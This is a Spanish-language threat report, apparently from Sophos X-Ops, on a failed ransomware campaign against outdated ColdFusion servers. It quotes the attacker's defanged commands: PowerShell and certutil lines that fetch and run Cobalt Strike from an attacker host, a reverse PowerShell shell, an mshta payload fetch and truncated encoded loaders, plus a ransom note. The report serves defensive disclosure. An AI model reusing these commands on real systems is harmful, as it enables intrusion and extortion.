Búsqueda de Ciberamenazas

Un ransomware se aprovecha de servidores ColdFusion no compatibles, pero se fue con las manos vacías

En septiembre, frustrados múltiples ataques que imitaban a LockBit dirigidos a software obsoleto, dejando al descubierto tácticas y herramientas.

Los servidores son siempre un punto de interés para los ciberdelincuentes, ya que son uno de los vectores de ataque más eficaces para penetrar en una organización. Las cuentas relacionadas con los servidores suelen tener los niveles de privilegio más altos, lo que facilita el movimiento lateral a otras máquinas de la red.

Sophos X-Ops ha observado una amplia variedad de amenazas dirigidas a los servidores, siendo las cargas útiles más comunes las balizas Cobalt Strike, el ransomware, las puertas traseras PowerShell sin archivos, los mineros y las webshells. En septiembre y principios de octubre, vimos varios intentos de un actor desconocido hasta entonces de aprovechar vulnerabilidades en versiones obsoletas y sin soporte del software ColdFusion Server de Adobe para acceder a los servidores Windows en los que se ejecutaban y pasar a desplegar ransomware. Ninguno de estos ataques tuvo éxito, pero proporcionaron telemetría que nos permitió asociarlos con un único actor o grupo de actores, y recuperar las cargas útiles que intentaron desplegar.

Los archivos que recuperamos mostraron que el atacante intentaba desplegar un ransomware creado utilizando código fuente filtrado de la familia de ransomware LockBit 3.0. Observamos que se utilizaba un ransomware similar en una campaña de explotación WS-FTP. En este informe, hablaré de la telemetría observada en la red de un cliente de Sophos y de las herramientas y técnicas utilizadas. Afortunadamente, todos los intentos fueron bloqueados por las detecciones de comportamiento de los endpoints de Sophos, que detectaron inicios sospechosos de procesos “living off the land binary” (LoLBIN) originados en los servidores objetivo.

Cronología del ataque

Como ColdFusion 11 ya no está parcheado, y no se disponía de telemetría de las conexiones de red del servidor, no pudimos determinar qué vulnerabilidad se explotó para iniciar la infiltración en la red del cliente. Pero poco después de obtener acceso el 20 de septiembre, los atacantes empezaron a probar si podían explotar aún más el servidor con una serie de entradas de línea de comandos ejecutadas aprovechando los procesos del servidor ColdFusion:

Figure 1: A timeline of the attack analyzed in this report. Others occurred before and after this timeframe, starting September 16 and continuing until at least October 5. All times are UTC.
Figura 1: cronología del ataque analizado en este informe. Otros se produjeron antes y después de este marco temporal, comenzando el 16 de septiembre y continuando al menos hasta el 5 de octubre. Todas las horas son UTC.

A las 08:30 UTC del 20 de septiembre, el atacante ejecuta un comando ping dirigido a un host controlado por el atacante: un subdominio de “oastify[.]com”, que está conectado al Burp Collaborator Server, un servicio utilizado para pruebas de seguridad de aplicaciones fuera de banda (OAST), un conjunto de herramientas externas de detección de vulnerabilidades. Este comando, destinado a comprobar si el servidor era vulnerable a un ataque remoto, fue detectado silenciosamente y permitido por la protección endpoint del servidor:

 cmd /c "ping mc2a1coghq275g3y1qhnp5u2otukid62[.]oastify[.]com

A continuación, a las 08:38, tras determinar que el servidor podía conectarse a un dominio remoto, el atacante intentó ejecutar un script PowerShell remoto para descargar y desplegar un Cobalt Strike Beacon:

cmd /c "powershell -nop -exec bypass -c "iex ((new-object net.webclient).downloadstring('hxxp://<ip>:64/watchdogs.ps1'))

Esta acción está bloqueada por una regla de comportamiento Access_3b (basada en la técnica MITRE ATT&CK T1190). El atacante persiste con múltiples intentos de desplegar la baliza de ataque de Cobalt, pero sus esfuerzos siguen siendo frustrados por la regla “Access_3b” (T1190).

En consecuencia, a las 11:37 el atacante volvió a realizar una búsqueda DNS con el comando “ping” para un subdominio diferente de oastify[.]com, comprobando dos veces que el servidor objetivo puede conectarse a un dominio remoto.

cmd /c "ping oh9c6etims79ai806smpu7z4tvzmnhb6[.]oastify[.]com

La prueba DNS volvió a ser positiva, y a las 11:45 el atacante intentó utilizar la utilidad de Servicios de Certificación certutil.exe de la línea de comandos de Windows para lanzar otra versión ejecutable del Cobalt Strike Beacon. De nuevo, esto fue bloqueado por la regla de comportamiento Access_3b (T1190).

cmd /c "certutil.exe -urlcache -split -f hxxp://<ip>:64/ftps.exe c:\windows\temp\ftps.exe & start c:\windows\temp\ftps.exe

El atacante lo intentó varias veces. Pero a las 11:52, el atacante abandonó ese método e intentó desplegar un PowerShell inverso interactivo: una puerta trasera PowerShell sin archivos destinada a operar en segundo plano y ejecutar comandos a discreción del atacante. Lamentablemente (para ellos), este despliegue de carga útil tampoco tuvo éxito, bloqueado por la misma regla de comportamiento.

cmd /c "powershell -nop -exec bypass -c "iex (new-object net.webclient).downloadstring('hxxp://<ip>:64/invoke-powershelltcp.ps1');invoke-powershelltcp -reverse -ipaddress <ip> -port 585

A las 12:01, el atacante volvió a cambiar de estrategia. Sus esfuerzos anteriores consistían en descargar un archivo PowerShell y luego ejecutar su contenido; ahora intentaban cargar un cargador Cobalt Strike Beacon codificado directamente en la memoria con PowerShell. Por desgracia para ellos, incluso este método de despliegue modificado estaba bloqueado.

$s=new-object io.memorystream(,convert]::frombase64string("h4siaaaaaaaa/61xaw/ishb9npwkf4gekiqm7lxrs89gsxmz2gwml4qkcmekvjblypom//tuguinp9mzlc1eqq6y73lq3kvude.. -

Frustrados sus esfuerzos, el atacante esperó cinco días para volver al servidor armado con binarios recién compilados y un nuevo vector de ataque remoto en un intento de burlar las protecciones existentes. El 25 de septiembre a las 07:47, volvieron a intentar su método de ataque original, y obtuvieron el mismo resultado. El despliegue se bloqueó.

cmd /c "powershell -nop -exec bypass -c "iex ((new-object net.webclient).downloadstring('hxxp://<ip>:64/watchdogs.ps1'))

Al día siguiente, volvieron a empezar, con una prueba de “ping” a las 01:16 contra otro subdominio aleatorio de oastify[.]com. A las 01:23, intentaron de nuevo cargar en memoria una baliza de ataque Cobalt codificada, con más modificaciones de código para eludir la detección. Una vez más, fue bloqueado.

$s=new-object io.memorystream(,[convert]::frombase64string("h4siaaaaaaaa/61xaw/ishb9npwkf4gekiqm7lxrs89gsxmz2gwml4qkcmekvjb.. -

Después de que eso fallara, a las 01:31, volvieron a intentar aprovechar certutil.exe para desplegar otra baliza recién compilada. Los esfuerzos del atacante siguieron viéndose frustrados.

cmd /c "certutil.exe -urlcache -split -f hxxp://<ip>:64/ftpss.exe c:\windows\temp\ftpss.exe & start c:\windows\temp\ftpss.exe

Al quedarse sin opciones, a las 02:27 del 26 de septiembre, el atacante empleó un archivo HTA (Aplicación HTML) para iniciar PowerShell, con el objetivo de desplegar la baliza de ataque Cobalt. Sin embargo, este intento también acabó en fracaso, ya que fue bloqueado por otra regla de comportamiento (C2_10a, basada en la técnica ATT&CK T1071.001)

cmd /c "mshta hxxp://<ip>:64/evil.hta

El actor de la amenaza, cada vez más desesperado, realizó numerosos intentos adicionales de lanzar sus ataques utilizando archivos HTA y binarios Cobalt Strike pero sin ningún éxito. Todos sus esfuerzos fueron constantemente frustrados y bloqueados.

Explorando el repositorio del atacante

Siguiendo el rastro de la telemetría, descubrimos que los atacantes dejaron involuntariamente activados los listados de directorios en el servidor web que alojaba su repositorio de herramientas, lo que nos permitió explorar su contenido. En él, descubrimos todos los artefactos que el atacante había intentado desplegar en el entorno del cliente, así como la carga útil final del ransomware que el atacante pretendía desplegar, también procedente del repositorio. (Todas las cargas útiles que descubrimos están bloqueadas por las defensas de Sophos).

Figura 2. Un directorio del repositorio del actor del ransomware el 10 de octubre. Observa que se ha cambiado el nombre del ransomware y se ha añadido al repositorio malware de minería de Monero.

La variante del ransomware, como se ha señalado anteriormente, lleva una nota de ransomware que acredita a “BlackDog 2023”, y parece ser una nueva familia de ransomware con un posible vínculo con el código fuente filtrado de Lockbit 3.0. Esta conexión se hace evidente al examinar tanto las propiedades del archivo ejecutable estático como las similitudes del código descomprimido en memoria. Activa la misma protección en memoria que ese código fuente, Mem/Lockbit-B.

El actor se autodenominó “BlackDogs 2023” en el archivo de la nota de rescate que formaba parte de la carga útil del malware fallido:

BlackDogs 2023 está aquí

Tus datos han sido robados y cifrados

Por favor, dame 205 Monero y te daremos el programa de descifrado.

Nuestra dirección de Monero: [eliminado]

Los datos se publicarán en un sitio web TOR si no pagas el rescate

Tu ID personal de DESCIFRADO: [eliminado]

¡Atención! No ELIMINES ni MODIFIQUES ningún archivo, ¡puede provocar problemas de recuperación!

Usando Tox messenger, nunca sabremos tu nombre real, lo que significa que tu privacidad está garantizada.

Si quieres ponerte en contacto con nosotros, escribe en tox. [dirección eliminada]

205 Moneros equivalen aproximadamente a 30.000 $.

Lista de artefactos

Nombre dek archivo Hash – SHA1 Protección del contexto – entrega de la carga útil Otras capas de cobertura
watchdogs.ps1 a77fd996290cb37b7368f0b54774d8977c97fb7c Access_3b (T1190) C2_10a (T1071.001), AMSI/Cobalt-A, Shellcode
invoke-powershelltcp.ps1 6be4f82c2f5dc46ebfa74a77fb550448fcac12d5 Access_3b (T1190) C2_10a (T1071.001)
oftenExcute.ps1 b2d5c047e60b2a183d30ac92b1dc73ac5ba58bbe Access_3b (T1190) C2_10a (T1071.001), AMSI/Cobalt-A, Shellcode
$s=new-object io.memorystream(,convert]:

:frombase64string

48c62e2b8e99ba7ebdaa50da7b84de014122f8eb Access_3b (T1190) Exec_27a (T1059.001), AMSI/Cobalt-A, C2_4a (T1059.001 mem/meter-d mem/meter-g), Shellcode
ftps.exe c2e896570e194ee4003f9e696a97c04b64a6e14e Access_3b (T1190) ATK/Cobalt-A, C2_1a (T1095 mem/meter-d mem/meter-g), Shellcode
LB3.exe (Ransomware – Posiblemente entregado a través de una baliza CS) 385320ddd8254a49669bf3c31b28fde77601f47c NA Impact_4c, Impact_4a(mem/lockbit-b), CryptoGuard V5
evil.hta 3a0cd87b1b6a112aa564169185f83248e23383c5 Access_3b (T1190) ATK/PSInject-Q, Exec_27a (T1059.001), AMSI/Cobalt-A, C2_4a (T1059.001 mem/cobalt-c, mem/meter-g)
ftpss.exe 26c8a6b4b816e18e611942111e401f339dc98395 Access_3b (T1190) ATK/Cobalt-A, C2_1a (T1095 mem/meter-d mem/meter-g)
LKl23s.exe (Ransomware – Posiblemente entregado a través de una baliza CS) 759b9d1ea843596ab32ad401ffa1c9d09e735b56 NA Mal/EncPk-HM,  Impact_4a(mem/lockbit-b), CryptoGuard V5
Ww3wb.exe (Ransomware – Posiblemente entregado a través de una baliza CS) a543ea56ecc63ec35e925e79d7c51558557b3ed1 NA Impact_4a (T1486 mem/lockbit-b), CryptoGuard V5, Mal/EncPk-HM, Impact_4c (T1486)

 

Estos artefactos y otros indicadores de compromiso también estarán disponibles en nuestro GitHub.

Los riesgos de este software antiguo

A juzgar por el directorio de instalación del servidor que se explotó en el ataque (C:\ColdFusion11\cfusion\bin\coldfusion.exe), es evidente que los clientes objetivo utilizaban ColdFusion 11.x, una versión introducida alrededor de 2014. Adobe dejó oficialmente de dar soporte a este producto a partir del 30 de abril de 2021, por lo que no hay correcciones de errores ni actualizaciones adicionales disponibles para esta versión. No se sabe con certeza qué vulnerabilidad del servidor fue explotada, pero son numerosas.

Aunque la protección del endpoint puede ayudar a evitar que los atacantes aprovechen las vulnerabilidades del software antiguo, no hay forma de cerrar el punto de entrada sin parches o actualizaciones. Eso debilita la protección general. Se recomienda encarecidamente a los clientes que migren a versiones más recientes de cualquier producto de servidor orientado a Internet o que consideren la posibilidad de retirarlos en favor de una alternativa aún compatible. Cuando eso no sea posible, las organizaciones deben hacer todo lo posible para mitigar las vulnerabilidades, aislando los servidores que las alojan de la red de la organización en la medida de lo posible y restringiendo los derechos de las credenciales en esos servidores para impedir el movimiento lateral si deben residir en la misma red.

Sophos X-Ops desea agradecer a Mike Wood y Anand Ajjan su revisión y comentarios sobre este informe.